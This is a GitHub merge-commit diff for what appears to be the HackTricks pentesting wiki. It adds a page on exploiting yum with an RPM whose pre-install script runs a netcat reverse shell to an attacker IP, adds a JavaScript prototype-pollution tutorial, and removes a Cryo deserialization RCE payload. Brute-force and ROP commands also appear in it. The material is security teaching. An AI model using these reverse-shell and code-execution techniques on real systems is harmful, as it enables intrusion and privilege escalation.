Merge pull request #1 from carlospolop/master

Update
This commit is contained in:
Garrett Hayes 2020-12-01 16:22:25 -05:00 committed by GitHub
commit 40d1d179d8
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
96 changed files with 1346 additions and 190 deletions

View file

Before

Width:  |  Height:  |  Size: 21 KiB

After

Width:  |  Height:  |  Size: 21 KiB

View file

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 72 KiB

View file

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 72 KiB

View file

Before

Width:  |  Height:  |  Size: 158 KiB

After

Width:  |  Height:  |  Size: 158 KiB

View file

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 34 KiB

View file

Before

Width:  |  Height:  |  Size: 17 KiB

After

Width:  |  Height:  |  Size: 17 KiB

View file

Before

Width:  |  Height:  |  Size: 44 KiB

After

Width:  |  Height:  |  Size: 44 KiB

View file

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 34 KiB

View file

Before

Width:  |  Height:  |  Size: 1.1 MiB

After

Width:  |  Height:  |  Size: 1.1 MiB

View file

Before

Width:  |  Height:  |  Size: 82 KiB

After

Width:  |  Height:  |  Size: 82 KiB

View file

Before

Width:  |  Height:  |  Size: 123 KiB

After

Width:  |  Height:  |  Size: 123 KiB

View file

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 34 KiB

View file

Before

Width:  |  Height:  |  Size: 58 KiB

After

Width:  |  Height:  |  Size: 58 KiB

View file

Before

Width:  |  Height:  |  Size: 5.2 KiB

After

Width:  |  Height:  |  Size: 5.2 KiB

View file

Before

Width:  |  Height:  |  Size: 783 KiB

After

Width:  |  Height:  |  Size: 783 KiB

View file

Before

Width:  |  Height:  |  Size: 161 KiB

After

Width:  |  Height:  |  Size: 161 KiB

View file

Before

Width:  |  Height:  |  Size: 185 KiB

After

Width:  |  Height:  |  Size: 185 KiB

View file

Before

Width:  |  Height:  |  Size: 1.4 KiB

After

Width:  |  Height:  |  Size: 1.4 KiB

View file

Before

Width:  |  Height:  |  Size: 13 KiB

After

Width:  |  Height:  |  Size: 13 KiB

View file

Before

Width:  |  Height:  |  Size: 13 KiB

After

Width:  |  Height:  |  Size: 13 KiB

View file

Before

Width:  |  Height:  |  Size: 24 KiB

After

Width:  |  Height:  |  Size: 24 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 152 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 50 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.1 KiB

View file

Before

Width:  |  Height:  |  Size: 3.2 MiB

After

Width:  |  Height:  |  Size: 3.2 MiB

View file

Before

Width:  |  Height:  |  Size: 90 KiB

After

Width:  |  Height:  |  Size: 90 KiB

View file

Before

Width:  |  Height:  |  Size: 813 KiB

After

Width:  |  Height:  |  Size: 813 KiB

View file

Before

Width:  |  Height:  |  Size: 134 KiB

After

Width:  |  Height:  |  Size: 134 KiB

View file

@ -10,7 +10,7 @@ dht udp "DHT Nodes"
![](.gitbook/assets/image%20%28182%29.png)
![](.gitbook/assets/image%20%28345%29.png)
![](.gitbook/assets/image%20%28345%29%20%282%29.png)
InfluxDB

View file

@ -20,7 +20,7 @@ Don't forget to **give ⭐ on the github** to motivate me to continue developing
![](.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%286%29.png)
![](.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%286%29%20%286%29.png)
[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)\*\*\*\*

View file

@ -44,6 +44,7 @@
* [Checklist - Local Windows Privilege Escalation](windows/checklist-windows-privilege-escalation.md)
* [Windows Local Privilege Escalation](windows/windows-local-privilege-escalation/README.md)
* [AppendData/AddSubdirectory permission over service registry](windows/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md)
* [DPAPI - Extracting Passwords](windows/windows-local-privilege-escalation/dpapi-extracting-passwords.md)
* [SeImpersonate from High To System](windows/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md)
* [Access Tokens](windows/windows-local-privilege-escalation/access-tokens.md)
@ -157,6 +158,7 @@
* [Print job manipulation](pentesting/pentesting-printers/print-job-manipulation.md)
* [Print Job Retention](pentesting/pentesting-printers/print-job-retention.md)
* [Scanner and Fax](pentesting/pentesting-printers/scanner-and-fax.md)
* [Pentesting SAP](pentesting/pentesting-sap.md)
* [7/tcp/udp - Pentesting Echo](pentesting/7-tcp-udp-pentesting-echo.md)
* [21 - Pentesting FTP](pentesting/pentesting-ftp/README.md)
* [FTP Bounce attack - Scan](pentesting/pentesting-ftp/ftp-bounce-attack.md)
@ -301,7 +303,7 @@
* [CSRF \(Cross Site Request Forgery\)](pentesting-web/csrf-cross-site-request-forgery.md)
* [Dangling Markup - HTML scriptless injection](pentesting-web/dangling-markup-html-scriptless-injection.md)
* [Deserialization](pentesting-web/deserialization/README.md)
* [NodeJS deserialization \_\_proto\_\_ abuse](pentesting-web/deserialization/nodejs-deserialization-__proto__-abuse.md)
* [NodeJS - \_\_proto\_\_ & prototype Pollution](pentesting-web/deserialization/nodejs-proto-prototype-pollution.md)
* [Java JSF ViewState \(.faces\) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md)
* [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md)
* [Basic Java Deserialization \(ObjectInputStream, readObject\)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md)

View file

@ -20,7 +20,7 @@ Find as much information about the target as you can and generate a custom dicti
### Crunch
```text
```bash
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
@ -112,6 +112,7 @@ medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for httpS
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10
```
@ -119,6 +120,7 @@ medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for httpS
```
For http**s** you have to change from "http-post-form" to "**https-post-form"**

View file

@ -8,7 +8,7 @@ This machine was categorised as easy and it was pretty easy.
I started **enumerating the machine using my tool** [**Legion**](https://github.com/carlospolop/legion):
![](../../.gitbook/assets/image%20%2861%29.png)
![](../../.gitbook/assets/image%20%2879%29.png)
In as you can see 2 ports are open: 80 \(**HTTP**\) and 22 \(**SSH**\)

View file

@ -307,7 +307,7 @@ Este programa también sirve para crear los **payloads**. Le puedes dar la libre
Este tipo de overflows se producen cuando una variable no está preparada para soportar un número tan grande como se le pasa, posiblemente por una confusión entre variables con y sin signo, por ejemplo:
```text
```c
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
@ -318,16 +318,16 @@ unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf(“\nL = %u\n”, l);
printf(“\nLEN = %d\n”, len);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf(“\nLongitus excesiva\n”);
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf(“\nIntento de hack\n”);
printf("\nIntento de hack\n");
return 0;
}
```

View file

@ -7,7 +7,7 @@ The objective is to call the **syscall \(execv\)** from a ROP controlling the va
* **RDX**: Null
* **RAX**: Value **0x3b** for x64 and **0xb** for x32, because this will call **execv**
```text
```bash
ROPgadget --binary vulnbinary | grep syscall
ROPgadget --binary vulnbinary | grep "rdi\|rsi\|rdx\|rax" | grep pop
```
@ -25,7 +25,7 @@ You can find mov gadgets doing: `ROPgadget --binary vulnbinary | grep mov`
If you have found some **write-what-where** and can control the needed registries to call execv, there is only left finding a place to write.
```text
```bash
objdump -x vulnbinary | grep ".bss" -B1
CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000010 00403418 00403418 00002418 2**3

View file

@ -45,7 +45,7 @@ DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
And click on **compile**:
![](../.gitbook/assets/image%20%28144%29.png)
![](../.gitbook/assets/image%20%28314%29.png)
Then save the new file on _**File &gt;&gt; Save module...**_:

View file

@ -146,7 +146,7 @@ If you want to **know** about my **latest modifications**/**additions** or you h
If you want to **share some tricks with the community** you can also submit **pull requests** to ****[**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) ****that will be reflected in this book.
Don't forget to **give ⭐ on the github** to motivate me to continue developing this book.
![](../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%284%29.png)
![](../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%286%29%20%284%29.png)
[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)\*\*\*\*

View file

@ -0,0 +1,29 @@
# Exploiting Yum
Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
## Executing arbitrary commands via RPM Packages
### Checking the Environment
In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root.
#### A working example of this vector
A working example of this exploit can be found in the [daily bugle](https://tryhackme.com/room/dailybugle) room on [tryhackme](https://tryhackme.com).
### Packing an RPM
In the following section, I will cover packaging a reverse shell into an RPM using [fpm](https://github.com/jordansissel/fpm).
The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary.
```text
EXPLOITDIR=$(mktemp -d)
CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
RPMNAME="exploited"
echo $CMD > $EXPLOITDIR/beforeinstall.sh
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR
```
## Catching a shell
Using the above example and assuming `yum` can be executed as a higher-privileged user.
1. **Transfer** the rpm to the host
2. **Start** a listener on your local host such as the [example netcat listener](/shells/shells/linux#netcat)
3. **Install** the vulnerable package `yum localinstall -y exploited-1.0-1.noarch.rpm`

View file

@ -137,7 +137,7 @@ myset.symmetric\_difference\_update\(myset2\) \#myset = Elements that are not in
The method in \_\_It\_\_ will be the one used by sort in order to compare if an object of this class is bigger than other
```text
```python
class Person(name):
def __init__(self,name):
self.name= name

View file

@ -441,6 +441,8 @@ _Note that you can **omit the package name** and the mobile will automatically c
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
```
Every time you find a deep link check that i**t's not receiving sensitive data \(like passwords\) via URL parameters**, because any other application could **impersonate the deep link and steal that data!**
An [interesting bug bounty report](https://hackerone.com/reports/855618) about links \(_/.well-known/assetlinks.json_\).
### Insufficient Transport Layer Protection

View file

@ -32,8 +32,9 @@ Some **interesting options of jadx** \(GUI and CLI versions\) are:
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
Looks faster than JD-Gui, It probides more information \(MalScan, Strings...\) and same interesting capabilities: X-refs, go to functions definitions...
But it's only available for Windows.
GDA is also a powerful and fast reverse analysis platform. Which does not only supports the basic decompiling operation, but also many excellent functions like **Malicious behavior detection, Privacy leaking detection, Vulnerability detection, Path solving, Packer identification, Variable tracking analysis, Deobfuscation, Python& Java scripts, Device memory extraction, Data decryption and encryption** etc**.**
**Only for Windows.**
![](../../.gitbook/assets/image%20%28207%29.png)

View file

@ -198,7 +198,7 @@ However there are **a lot of different command line useful options** that you ca
First of all you need to download the Der certificate from Burp. You can do this in _**Proxy**_ --&gt; _**Options**_ --&gt; _**Import / Export CA certificate**_
![](../../.gitbook/assets/image%20%28367%29.png)
![](../../.gitbook/assets/image%20%28367%29%20%281%29.png)
**Export the certificate in Der format** and lets **transform** it to a form that **Android** is going to be able to **understand.** Note that **in order to configure the burp certificate on the Android machine in AVD** you need to **run** this machine **with** the **`-writable-system`** option.
For example you can run it like:

View file

@ -59,7 +59,7 @@ content://com.mwr.example.sieve.DBContentProvider/Passwords/
You should also check the **ContentProvider code** to search for queries:
![](../../../.gitbook/assets/image%20%28152%29.png)
![](../../../.gitbook/assets/image%20%28121%29%20%281%29.png)
Also, if you can't find full queries you could **check which names are declared by the ContentProvider** on the `onCreate` method:
@ -76,7 +76,7 @@ When checking the code of the Content Provider **look** also for **functions** n
![](../../../.gitbook/assets/image%20%28211%29.png)
![](../../../.gitbook/assets/image%20%28254%29.png)
![](../../../.gitbook/assets/image%20%28254%29%20%281%29.png)
Because you will be able to call them

View file

@ -60,7 +60,7 @@ If you want to **know** about my **latest modifications**/**additions** or you h
If you want to **share some tricks with the community** you can also submit **pull requests** to ****[**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) ****that will be reflected in this book.
Don't forget to **give ⭐ on the github** to motivate me to continue developing this book.
![](../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67.png)
![](../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%286%29.png)
[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)\*\*\*\*

View file

@ -132,7 +132,7 @@ Check also the page about [**NTLM**](windows/ntlm/), it could be very useful to
* [**CBC-MAC**](crypto/cipher-block-chaining-cbc-mac-priv.md)
* [**Padding Oracle**](crypto/padding-oracle-priv.md)
![](.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%281%29.png)
![](.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%286%29%20%281%29.png)
[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)

View file

@ -94,7 +94,7 @@ Learn here about how to perform [Cache Poisoning attacks abusing HTTP Request Sm
The goal of Cache Deception is to make clients load resources that are going to be saved by the cache with their sensitive information.
A very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).
It=n the example is is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ \(**with the users sensitive information**\) is going to be returned and the cache server is going to save the result.
In the example it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ \(**with the users sensitive information**\) is going to be returned and the cache server is going to save the result.
Then, the **attacker** can access _http://www.example.com/home.php_ and see the **confidential information** of the users that accessed before.
Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file \(_.css_\) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type \(which is the expected for a _.css_ file\).

View file

@ -94,6 +94,12 @@ print(base64.b64encode(cPickle.dumps(P())))
## NodeJS
### `__proto__` and `prototype` pollution
If you want to learn about this technique **take a look to the following tutorial**:
{% page-ref page="nodejs-proto-prototype-pollution.md" %}
### [node-serialize](https://www.npmjs.com/package/node-serialize)
This library allows to serialise functions. Example:
@ -189,71 +195,12 @@ var test = "function(){ require('child_process').exec('ls /', function(error, st
deserialize(test)
```
### \_\_proto\_\_ abuse
### Cryo library
_**\(This information was taken from**_ [_**here**_ ](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)_**and**_ [_**here**_](https://hackerone.com/reports/350418)_**\).**_
In the following pages you can find information about how to abuse this library to execute arbitrary commands:
**Another way** to achieve code execution is leveraging in **functions** with **attackers controlled** data which are **called automatically** **during** the **deserialization** process or after when an application interacts with a newly created object. Something similar to “magic methods” in other languages.
Many packages use the next approach in the deserialization process. They create an empty object and then set its properties using square brackets notations:
```javascript
obj[key]=value
```
Secondly, a call of some function leads to the invoking of the function arguments methods. For example, when an object is converted to a string, then methods valueOf, toString of the object are called automatically \(more details [here](http://2ality.com/2012/03/converting-to-string.html)\). So, `console.log(obj)` leads to invocation of `obj.toString()`. Another example, `JSON.stringify(obj)` internally invokes obj.toJSON\(\).
Abusing the [\_\_proto\_\_ property ](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto)you can **change the methods of the object**, for example `obj.valueOf` or `obj.toString`. So, if you can modify the `__proto__` property of an object you can modify the behaviour of the object when a method is call: you could make it execute arbitrary code whenever `obj.toString` is called. Keep in mind that the **execution** of several **methods** are very **common**, for example `console.log(obj + "anything")` will execute `obj.toString`, or `JSON.stringify(obj)` internally invokes `obj.toJSON()`.
Ive found a nice example [package Cryo](https://www.npmjs.com/package/cryo), which supports both function serialization and square bracket notation for object reconstruction, but which isnt vulnerable to IIFE, because it properly manages object \(without using `eval&co`\).
Here a code for serialization and deserialization of an object:
```javascript
cvar Cryo = require('cryo');
var obj = {
testFunc : function() {return 1111;}
};
var frozen = Cryo.stringify(obj);
console.log(frozen)
var hydrated = Cryo.parse(frozen);
console.log(hydrated);
```
Abusing `__proto__` property to modify the behaviour of the object when calling `toString` and `valueOf` \(Note that you need to modify the **serialized object** from `__proto` to `__proto__` to abuse the deserialization\):
```javascript
// Simple deserialization executing a console.log
var obj = {
__proto: {
toString: function() {console.log("defconrussia"); return 1111;},
valueOf: function() {console.log("defconrussia"); return 2222;}
}
};
var sertest = Cryo.stringify(obj);
sertest //'{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function() {console.log(\\"defconrussia\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function() {console.log(\\"defconrussia\\"); return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}'
var destest = '{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function() {console.log(\\"defconrussia\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function() {console.log(\\"defconrussia\\"); return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto__":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}'
var destestdone = Cryo.parse(destest);
console.log(destestdone + "anything");
// Deserialization with RCE
var obj = {
__proto: {
toString: function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); },
valueOf: function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }
}
};
var sertest = Cryo.stringify(obj);
sertest //'{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function() {console.log(\\"defconrussia\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function() {console.log(\\"defconrussia\\"); return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}'
var destest = '{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function(){ require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) }); }"},{"contents":{},"value":"_CRYO_FUNCTION_function(){ require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) }); }"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto__":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}'
var destestdone = Cryo.parse(destest);
console.log(destestdone + "anything");
```
* [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
* [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
## Java - HTTP

View file

@ -14,7 +14,7 @@ The following properties or combination of properties apply to ViewState informa
## **Test Cases**
![](../../.gitbook/assets/image%20%2873%29.png)
![](../../.gitbook/assets/image%20%28309%29.png)
### Test Case: 1 EnableViewStateMac=false and viewStateEncryptionMode=false

View file

@ -149,7 +149,7 @@ You can download [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) fro
Inside the github, [**GadgetProbe has some wordlists**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) ****with Java classes for being tested.
![](../../.gitbook/assets/intruder4%20%281%29.gif)
![](../../.gitbook/assets/intruder4%20%281%29%20%281%29.gif)
### More Information

View file

@ -1,66 +0,0 @@
# NodeJS deserialization \_\_proto\_\_ abuse
This information was copied from this research: [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
While I was researching packages, I stumbled upon the idea to look at other approaches of attacks on deserialization, which are used in other languages. To achieve code execution we leverage functions with attackers controlled data which are called automatically during the deserialization process or after when an application interacts with a newly created object. Something similar to “magic methods” in other languages.
Actually, there are a lot of packages which work completely differently, still after some experiments I came to an interesting semi-universal attack. It is based on two facts.
Firstly, many packages use the next approach in the deserialization process. They create an empty object and then set its properties using square brackets notations:
```text
obj[key]=value
```
where **key** and **value** are taken from JSON
Therefore we as attackers are able to control practically any property of a new object. If we look through the list of properties, our attention comes to the [cool \_\_proto\_\_ property ](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto). The property is used to access and change a prototype of an object. This means that we can change the objects behavior and add/change its methods.
Secondly, a call of some function leads to the invoking of the function arguments methods. For example, when an object is converted to a string, then methods valueOf, toString of the object are called automatically \(more details [here](http://2ality.com/2012/03/converting-to-string.html)\). So, `console.log(obj)` leads to invocation of `obj.toString()`. Another example, `JSON.stringify(obj)` internally invokes obj.toJSON\(\).
Using both of these features, we can get remote code execution in process of interaction between an application `(node.js)` and an object.
Ive found a nice example [package Cryo](https://www.npmjs.com/package/cryo), which supports both function serialization and square bracket notation for object reconstruction, but which isnt vulnerable to IIFE, because it properly manages object \(without using `eval&co`\).
Here a code for serialization and deserialization of an object:
```text
cvar Cryo = require('cryo');
var obj = {
testFunc : function() {return 1111;}
};
var frozen = Cryo.stringify(obj);
console.log(frozen)
var hydrated = Cryo.parse(frozen);
console.log(hydrated);
```
Serialized JSON looks like that. Pretty tangled:
```text
{"root":"_CRYO_REF_1","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {return 1111;}"},{"contents":{"testFunc":"_CRYO_REF_0"},"value":"_CRYO_OBJECT_"}]}
```
For our attack we can create a serialized JSON object with a `custom __proto__`. We can create our object with our own methods for the objects prototype, but as a small trick, we can set an incorrect name for `__proto__` \(because we dont want to rewrite a prototype of the object in our application\) and serialize it.
```text
var obj = {
__proto: {
toString: function() {console.log("defconrussia"); return 1111;},
valueOf: function() {console.log("defconrussia"); return 2222;}
}
};
```
So we get serialized object and rename from `__proto` to `__proto__` in it:
```text
{"root":"CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\"defconrussia\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function () {return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT"},{"contents":{"proto":"CRYO_REF_2"},"value":"_CRYO_OBJECT"}]}
```
When we send that JSON payload to an application, the package Cryo deserializes the payload in an object, but also changes the objects prototype to our value. Therefore, if the application interacts with the object somehow, converts it to a sting, for example, then the prototypes method will be called and our code will be executed. So, its RCE.
I tried to find packages with similar issues, but most of them didnt support serialization of function. I didnt find any other way to reconstruct `functions in __proto__`. Nevertheless, as many packages use square bracket notation, we can rewrite `__proto__` for them too and spoil prototypes of newly created objects. What happens when an application calls any prototype method of such objects? It may crash due to an unhandled TypeError exception.
In addition, I should mention that the whole idea potentially works for deserialization from any format \(not only JSON\). Once both features are in place, a package is potentially vulnerable. Another thing is that `JSON.parse` is not “vulnerable” to `__proto__ rewriting`.

View file

@ -0,0 +1,287 @@
# NodeJS - \_\_proto\_\_ & prototype Pollution
## Objects in JavaScript <a id="053a"></a>
First of all, we need to understand `Object`in JavaScript. An object is simply a collection of key and value pairs, often called properties of that object. For example:
![](../../.gitbook/assets/image%20%28389%29%20%281%29.png)
In Javascript, `Object`is a basic object, the template for all newly created objects. It is possible to create an empty object by passing `null`to `Object.create`. However, the newly created object will also have a type that corresponds to the passed parameter and inherits all the basic properties.
```javascript
console.log(Object.create(null)); // prints an empty object
```
![](../../.gitbook/assets/image%20%28393%29.png)
Previously we learned that an Object in javascript is collection of keys and values, so it makes sense that a `null` object is just an empty dictionary: `{}`
## Functions / Classes in Javascript <a id="55dd"></a>
In Javascript, the concepts of the class and the function are quite interrelated \(the function itself acts as the constructor for the class and the actual nature has no concept of “class” in javascript\). Lets see the following example:
```javascript
function person(fullName, age) {
this.age = age;
this.fullName = fullName;
this.details = function() {
return this.fullName + " has age: " + this.age;
}
}
```
![](../../.gitbook/assets/image%20%28400%29.png)
```javascript
var person1 = new person("Satoshi", 70);
```
![](../../.gitbook/assets/image%20%28397%29.png)
## Prototypes in JavaScript <a id="3843"></a>
One thing to note is that the prototype attribute can be changed/modified/deleted when executing the code. For example functions to the class can be dynamically added:
![](../../.gitbook/assets/image%20%28394%29.png)
Functions of the class can also be modified \(like `toString` or `valueOf` the following cases\):
![](../../.gitbook/assets/image%20%28399%29.png)
![](../../.gitbook/assets/image%20%28396%29.png)
## Inheritance
In a prototype-based program, objects inherit properties/methods from classes. The classes are derived by adding properties/methods to an instance of another class or by adding them to an empty object.
Note that, if you add a property to an object that is used as the prototype for a set of objects \(like the myPersonObj\), the objects for which it is the prototype also get the new property, but that property is not printed unless specifically called on.
![](../../.gitbook/assets/image%20%28395%29.png)
## \_\_proto\_\_ pollution <a id="0d0a"></a>
You should have already learned that **every object in JavaScript is simply a collection of key and value** pairs and that **every object inherits from the Object type in JavaScript**. This means that if you are able to pollute the Object type **each JavaScript object of the environment is going to be polluted!**
This is fairly simple, you just need to be able to modify some properties \(key-value pairs\) from and arbitrary JavaScript object, because as each object inherits from Object, each object can access Object scheme.
```javascript
function person(fullName) {
this.fullName = fullName;
}
var person1 = new person("Satoshi");
```
From the previous example it's possible to access the structure of Object using the following ways:
```javascript
person1.__proto__.__proto__
person.__proto__.__proto__
```
So, as it was mentioned before, if now a property is added to the Object scheme, every JavaScript object will have access to the new property:
```javascript
function person(fullName) {
this.fullName = fullName;
}
var person1 = new person("Satoshi");
//Add function as new property
person1.__proto__.__proto__.printHello = function(){console.log("Hello");}
person1.printHello() //This now works and prints hello
//Add constant as new property
person1.__proto__.__proto__.globalconstant = true
person1.globalconstant //This now works and is "true"
```
So now each JS object will contain the new properties: the function `printHello` and the new constant `globalconstant`
## prototype pollution
This technique isn't as effective as the previous one as you cannot pollute the scheme of JS Object. But in cases where the **keyword `__proto__`is forbidden this technique can be useful**.
If you are able to modify the properties of a function, you can modify the `prototype` property of the function and **each new property that you adds here will be inherit by each object created from that function:**
```javascript
function person(fullName) {
this.fullName = fullName;
}
var person1 = new person("Satoshi");
//Add function as new property
person.prototype.sayHello = function(){console.log("Hello");}
person1.sayHello() //This now works and prints hello
//Add constant as new property
person.prototype.newConstant = true
person1.newConstant //This now works and is "true"
//The same could be achieved using this other way:
person1.constructor.prototype.sayHello = function(){console.log("Hello");}
person1.constructor.prototype.newConstant = true
```
In this case only the **objects created from the `person`** class will be affected, but each of them will now i**nherit the properties `sayHello` and `newConstant`**.
**There are 2 ways to abuse prototype pollution to poison EVERY JS object.**
The first one would be to pollute the property prototype of **Object** \(as it was mentioned before every JS object inherits from this one\):
```javascript
Object.prototype.sayBye = function(){console.log("bye!")}
```
If you manage to do that, each JS object will be able to execute the function `sayBye`.
The other way is to poison the prototype of a constructor of a dictionary variable like in the following example:
```javascript
something = {"a": "b"}
something.constructor.prototype.sayHey = function(){console.log("Hey!")}
```
